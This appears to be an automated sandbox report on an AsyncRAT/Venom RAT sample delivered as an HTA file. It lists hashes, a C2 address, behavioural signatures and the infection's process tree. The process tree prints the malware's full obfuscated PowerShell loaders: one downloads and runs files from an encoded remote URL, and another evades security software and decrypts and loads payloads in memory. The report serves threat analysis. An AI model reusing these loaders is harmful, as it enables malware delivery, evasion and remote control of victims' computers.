Analysis
- max time kernel
146s - max time network
147s - platform
windows10-2004_x64 - resource
win10v2004-20240426-en - resource tags
arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system - submitted
09/05/2024, 10:09
Static task
static1
Behavioral task
behavioral1
Sample
c39754c0eb845d1fa60618c95519d430fef1d5e537baf83f63a67c8b0ef9c709.hta
Resource
win7-20240508-en
11 signatures
150 seconds
General
- Target c39754c0eb845d1fa60618c95519d430fef1d5e537baf83f63a67c8b0ef9c709.hta
- Size 13KB
- Sample240509-l6331scd3w
- SHA256 c39754c0eb845d1fa60618c95519d430fef1d5e537baf83f63a67c8b0ef9c709
- MD5 18dbd534f0a9f76cfb874a7a7e688c90
- SHA1 1bdad469ec9dcc975e1a95abdcaa2d7881b3ad81
- SHA512 71dfd6053725344b3e41b9722986da8562c7e3bcb53386eb5fc2ff769b025a71d0701ba60a759f4b660987d2b7ca4a2cbe037085e05202582a51c6fd25af9e57
- SSDEEP 384:17RaKJD8W7aauapKCE+1GW3lglBTlp3WzlmjlVgbC5972:17RaKJD8W7aauapKCE+1GWV4Bxp3WRmg
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Extracted
Family
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asyncrat
Version
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Venom RAT + HVNC + Stealer + Grabber v6.0.3
Botnet
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Default
C2
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193.222.96.143:4449
Mutex
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bkfcocpkfci
Attributes
-
delay
1
-
install
false
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install_folder
%AppData%
aes.plain
Signatures
- Async RAT payload 1 IoCs
resource yara_rule behavioral2/memory/4112-89-0x0000000007200000-0x0000000007218000-memory.dmp family_asyncrat - Blocklisted process makes network request 5 IoCs
flow pid Process 20 2076 powershell.exe 21 2076 powershell.exe 39 4112 powershell.exe 40 4112 powershell.exe 83 4112 powershell.exe -
pid Process 2076 powershell.exe 2720 powershell.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000\Control Panel\International\Geo\Nation mshta.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE - Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000_Classes\Local Settings powershell.exe - Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 3476 EXCEL.EXE - Suspicious behavior: EnumeratesProcesses 9 IoCs
pid Process 2076 powershell.exe 2076 powershell.exe 4112 powershell.exe 4112 powershell.exe 2720 powershell.exe 2720 powershell.exe 4112 powershell.exe 4112 powershell.exe 4112 powershell.exe - Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 2076 powershell.exe Token: SeDebugPrivilege 4112 powershell.exe Token: SeDebugPrivilege 2720 powershell.exe - Suspicious use of SetWindowsHookEx 13 IoCs
pid Process 3476 EXCEL.EXE 3476 EXCEL.EXE 3476 EXCEL.EXE 3476 EXCEL.EXE 3476 EXCEL.EXE 3476 EXCEL.EXE 3476 EXCEL.EXE 3476 EXCEL.EXE 3476 EXCEL.EXE 3476 EXCEL.EXE 3476 EXCEL.EXE 3476 EXCEL.EXE 4112 powershell.exe - Suspicious use of WriteProcessMemory 21 IoCs
description pid Process procid_target PID 2652 wrote to memory of 2076 2652 mshta.exe 82 PID 2652 wrote to memory of 2076 2652 mshta.exe 82 PID 2652 wrote to memory of 2076 2652 mshta.exe 82 PID 2076 wrote to memory of 3476 2076 powershell.exe 87 PID 2076 wrote to memory of 3476 2076 powershell.exe 87 PID 2076 wrote to memory of 3476 2076 powershell.exe 87 PID 2076 wrote to memory of 4284 2076 powershell.exe 89 PID 2076 wrote to memory of 4284 2076 powershell.exe 89 PID 2076 wrote to memory of 4284 2076 powershell.exe 89 PID 4284 wrote to memory of 388 4284 cmd.exe 91 PID 4284 wrote to memory of 388 4284 cmd.exe 91 PID 4284 wrote to memory of 388 4284 cmd.exe 91 PID 388 wrote to memory of 1204 388 cmd.exe 93 PID 388 wrote to memory of 1204 388 cmd.exe 93 PID 388 wrote to memory of 1204 388 cmd.exe 93 PID 388 wrote to memory of 4112 388 cmd.exe 94 PID 388 wrote to memory of 4112 388 cmd.exe 94 PID 388 wrote to memory of 4112 388 cmd.exe 94 PID 4112 wrote to memory of 2720 4112 powershell.exe 99 PID 4112 wrote to memory of 2720 4112 powershell.exe 99 PID 4112 wrote to memory of 2720 4112 powershell.exe 99
Processes
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C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\c39754c0eb845d1fa60618c95519d430fef1d5e537baf83f63a67c8b0ef9c709.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2652 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function oYYtmcfgNVALjZ($AMoNCQYGRgLRoU, $yowkcxYklFDKtli){[IO.File]::WriteAllBytes($AMoNCQYGRgLRoU, $yowkcxYklFDKtli)};function oocZbSbPqugD($AMoNCQYGRgLRoU){if($AMoNCQYGRgLRoU.EndsWith((iGrhVnKiZYQ @(59818,59872,59880,59880))) -eq $True){rundll32.exe $AMoNCQYGRgLRoU }elseif($AMoNCQYGRgLRoU.EndsWith((iGrhVnKiZYQ @(59818,59884,59887,59821))) -eq $True){powershell.exe -ExecutionPolicy unrestricted -File $AMoNCQYGRgLRoU}elseif($AMoNCQYGRgLRoU.EndsWith((iGrhVnKiZYQ @(59818,59881,59887,59877))) -eq $True){misexec /qn /i $AMoNCQYGRgLRoU}else{Start-Process $AMoNCQYGRgLRoU}};function jlAPajKrXnXds($irMBWZFpvuqduX){$hWiCJPXtnbCAfgDIPKdzz = New-Object (iGrhVnKiZYQ @(59850,59873,59888,59818,59859,59873,59870,59839,59880,59877,59873,59882,59888));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$yowkcxYklFDKtli = $hWiCJPXtnbCAfgDIPKdzz.DownloadData($irMBWZFpvuqduX);return $yowkcxYklFDKtli};function iGrhVnKiZYQ($eaILzSbnqJ){$lgMdU=59772;$pkNOUpDlz=$Null;foreach($WtZmnegAvYDwZrJ in $eaILzSbnqJ){$pkNOUpDlz+=[char]($WtZmnegAvYDwZrJ-$lgMdU)};return $pkNOUpDlz};function wwFwRQUTDiTf(){$wPeJapJpGtoAMd = $env:AppData + '\';$ZxSzqAOPdWfCSvt = $wPeJapJpGtoAMd + 'Excel.xlsx';If(Test-Path -Path $ZxSzqAOPdWfCSvt){Invoke-Item $ZxSzqAOPdWfCSvt;}Else{ $VbnfWkgMtzU = jlAPajKrXnXds (iGrhVnKiZYQ @(59876,59888,59888,59884,59830,59819,59819,59821,59829,59823,59818,59822,59822,59822,59818,59829,59826,59818,59821,59824,59823,59830,59827,59822,59828,59827,59819,59841,59892,59871,59873,59880,59818,59892,59880,59887,59892));oYYtmcfgNVALjZ $ZxSzqAOPdWfCSvt $VbnfWkgMtzU;Invoke-Item $ZxSzqAOPdWfCSvt;};$qQjgFPGszJBcNb = $wPeJapJpGtoAMd + 'xx.bat'; if (Test-Path -Path $qQjgFPGszJBcNb){oocZbSbPqugD $qQjgFPGszJBcNb;}Else{ $aiJbTZVrclHZrx = jlAPajKrXnXds (iGrhVnKiZYQ @(59876,59888,59888,59884,59830,59819,59819,59821,59829,59823,59818,59822,59822,59822,59818,59829,59826,59818,59821,59824,59823,59830,59827,59822,59828,59827,59819,59892,59892,59818,59870,59869,59888));oYYtmcfgNVALjZ $qQjgFPGszJBcNb $aiJbTZVrclHZrx;oocZbSbPqugD $qQjgFPGszJBcNb;};;;;}wwFwRQUTDiTf;2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2076 -
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Roaming\Excel.xlsx"3⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3476
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\xx.bat" "3⤵
- Suspicious use of WriteProcessMemory
PID:4284 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Roaming\xx.bat"4⤵
- Suspicious use of WriteProcessMemory
PID:388 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Roaming\xx.bat';$BMbC='RsHpUesHpUadLsHpUinsHpUesHpUssHpU'.Replace('sHpU', ''),'CCFZsreCFZsatCFZseDCFZsecCFZsrCFZsyCFZspCFZstCFZsorCFZs'.Replace('CFZs', ''),'FrBDpromBDprBBDpraBDprseBDpr6BDpr4SBDprtrBDpriBDprngBDpr'.Replace('BDpr', ''),'ChAmxTanAmxTgAmxTeEAmxTxtAmxTensAmxTiAmxTonAmxT'.Replace('AmxT', ''),'DMtvCecMtvComMtvCprMtvCeMtvCsMtvCsMtvC'.Replace('MtvC', ''),'LCapfoaCapfdCapf'.Replace('Capf', ''),'ISAmunSAmuvokSAmueSAmu'.Replace('SAmu', ''),'MawqArinMwqArowqArduwqArlewqAr'.Replace('wqAr', ''),'GetKwgmCuKwgmrreKwgmntKwgmPKwgmrocKwgmessKwgm'.Replace('Kwgm', ''),'SplMBlVitMBlV'.Replace('MBlV', ''),'ElayXCemayXCeayXCnayXCtayXCAtayXC'.Replace('ayXC', ''),'TVQktranVQktsVQktforVQktmFiVQktnaVQktlVQktBVQktloVQktcVQktkVQkt'.Replace('VQkt', ''),'EnXNnYtXNnYrXNnYyPoXNnYintXNnY'.Replace('XNnY', ''),'ComQwwpyTmQwwomQww'.Replace('mQww', '');powershell -w hidden;$modules=[System.Diagnostics.Process]::($BMbC[8])().Modules;if ($modules -match 'hmpalert.dll') { exit; };function zlGLC($RSWKX){$GVeOl=[System.Security.Cryptography.Aes]::Create();$GVeOl.Mode=[System.Security.Cryptography.CipherMode]::CBC;$GVeOl.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$GVeOl.Key=[System.Convert]::($BMbC[2])('uY6F5j209xASZjaoUU93vCCXVRY+Y6fGH5LCH0uNzYo=');$GVeOl.IV=[System.Convert]::($BMbC[2])('iwvv8vpAhw35q7w8nU7OXw==');$QznTD=$GVeOl.($BMbC[1])();$RHHCU=$QznTD.($BMbC[11])($RSWKX,0,$RSWKX.Length);$QznTD.Dispose();$GVeOl.Dispose();$RHHCU;}function lfrrO($RSWKX){$kKatK=New-Object System.IO.MemoryStream(,$RSWKX);$EyOwi=New-Object System.IO.MemoryStream;$oJtRR=New-Object System.IO.Compression.GZipStream($kKatK,[IO.Compression.CompressionMode]::($BMbC[4]));$oJtRR.($BMbC[13])($EyOwi);$oJtRR.Dispose();$kKatK.Dispose();$EyOwi.Dispose();$EyOwi.ToArray();}$FYWBz=[System.IO.File]::($BMbC[0])([Console]::Title);$QpMEc=lfrrO (zlGLC ([Convert]::($BMbC[2])([System.Linq.Enumerable]::($BMbC[10])($FYWBz, 5).Substring(2))));$IyoFy=lfrrO (zlGLC ([Convert]::($BMbC[2])([System.Linq.Enumerable]::($BMbC[10])($FYWBz, 6).Substring(2))));[System.Reflection.Assembly]::($BMbC[5])([byte[]]$IyoFy).($BMbC[12]).($BMbC[6])($null,$null);[System.Reflection.Assembly]::($BMbC[5])([byte[]]$QpMEc).($BMbC[12]).($BMbC[6])($null,$null); "5⤵PID:1204
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe5⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4112 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2720
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-
-
-
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 d9c5347ed06755feeb0615f1671f6b91e2718703da0dbc4b0bd205cbd2896dd4
- MD5 0774a05ce5ee4c1af7097353c9296c62
- SHA1 658ff96b111c21c39d7ad5f510fb72f9762114bb
- SHA512 104d69fc4f4aaa5070b78ada130228939c7e01436351166fe51fe2da8a02f9948e6d92dd676f62820da1813872b91411e2f863c9a98a760581ec34d4aa354994
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3eo12qne.vgc.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Roaming\Excel.xlsx
- Size 8KB
- SHA256 52ebeaad2dc40e47640b5a766492739aa5992fde759e36c94b70d90ab4713451
- MD5 0ce5e7b8bf48809d64e16b0f50e06d03
- SHA1 18a92eedf1c3e6654043fe4979aadcfd3247af97
- SHA512 e3b45e38e38a36ca195bf8914e868fab9583942e5c728e2e9d4dbf1367fd1b373c3a918ed588f84115f253d15074a64544d89d6edf7b6e0523e009529af58ad8
- SSDEEP 192:wc8mVxLAb3Uiyp+sfyp/2HbFhmAtnbhoFv:wc3DLg3Jyp+b1I1nbgv
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Roaming\Microsoft\Office\Recent\index.dat
- Size 219B
- SHA256 238b09243522a20a31419d11972793c74afcdac348e2aba245d6db79822eb67b
- MD5 6e31c28694f160a4dcd8dbf64af2197b
- SHA1 429cc22e66217f3208e8a19d2b9679b64ffbdc77
- SHA512 f058f641ab2a01abe5f285a1aa71e3b9d4752742a8e8eb6be20a2fb5a47da3ed5c947df41feeceb0f570d77d928f64dae4495d8f28aaf6077a368295eda8f96e
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
- Size 855B
- SHA256 fa41cc25dce935e1dde184a06966db5d362e45380dd4ce535ff63cfdf879715b
- MD5 bf3d9092f06d113b85038942c59b37cf
- SHA1 7c29685c402ecd5d3c8645e859bc270d475e60bc
- SHA512 31cfd8f025c7ef6a8d064245b21b7b730c7878d7860b89b9c95b1ce0af64b780ed7b8906308b82d412e6dfcb3ec539643a826bf29aa73ecf650bbaf1ecd93b70
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
- Size 24B
- SHA256 90bf6baa6f968a285f88620fbf91e1f5aa3e66e2bad50fd16f37913280ad8228
- MD5 4fcb2a3ee025e4a10d21e1b154873fe2
- SHA1 57658e2fa594b7d0b99d02e041d0f3418e58856b
- SHA512 4e85d48db8c0ee5c4dd4149ab01d33e4224456c3f3e3b0101544a5ca87a0d74b3ccd8c0509650008e2abed65efd1e140b1e65ae5215ab32de6f6a49c9d3ec3ff
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Roaming\xx.bat
- Size 65KB
- SHA256 1331ae5fedc50718ee7ae4f73735ac7ca34e3756f3c75c843c8676a9f3db33ad
- MD5 963ce568ecee6a43389e1e12b60f325a
- SHA1 2cbf2183bf67d7d2eeb98366ab9702e23e4d7c30
- SHA512 18c2c8dd7a1336cbd18c1d0e6659f47a8718492f37c1224c3348391b97b3c15e74108e293f2777323cec7bde6a645243a409d2d000b9b94bc7b71d4ee7ae8554
- SSDEEP 1536:BNnIoXnDA1Chiapd336sy2r0z1k7Ew2Gr1lwtnLYT8ki:BRIGAA336sy2rSk7Ew2Gr1lKT
- MD5 SHA1 SHA512 SSDEEP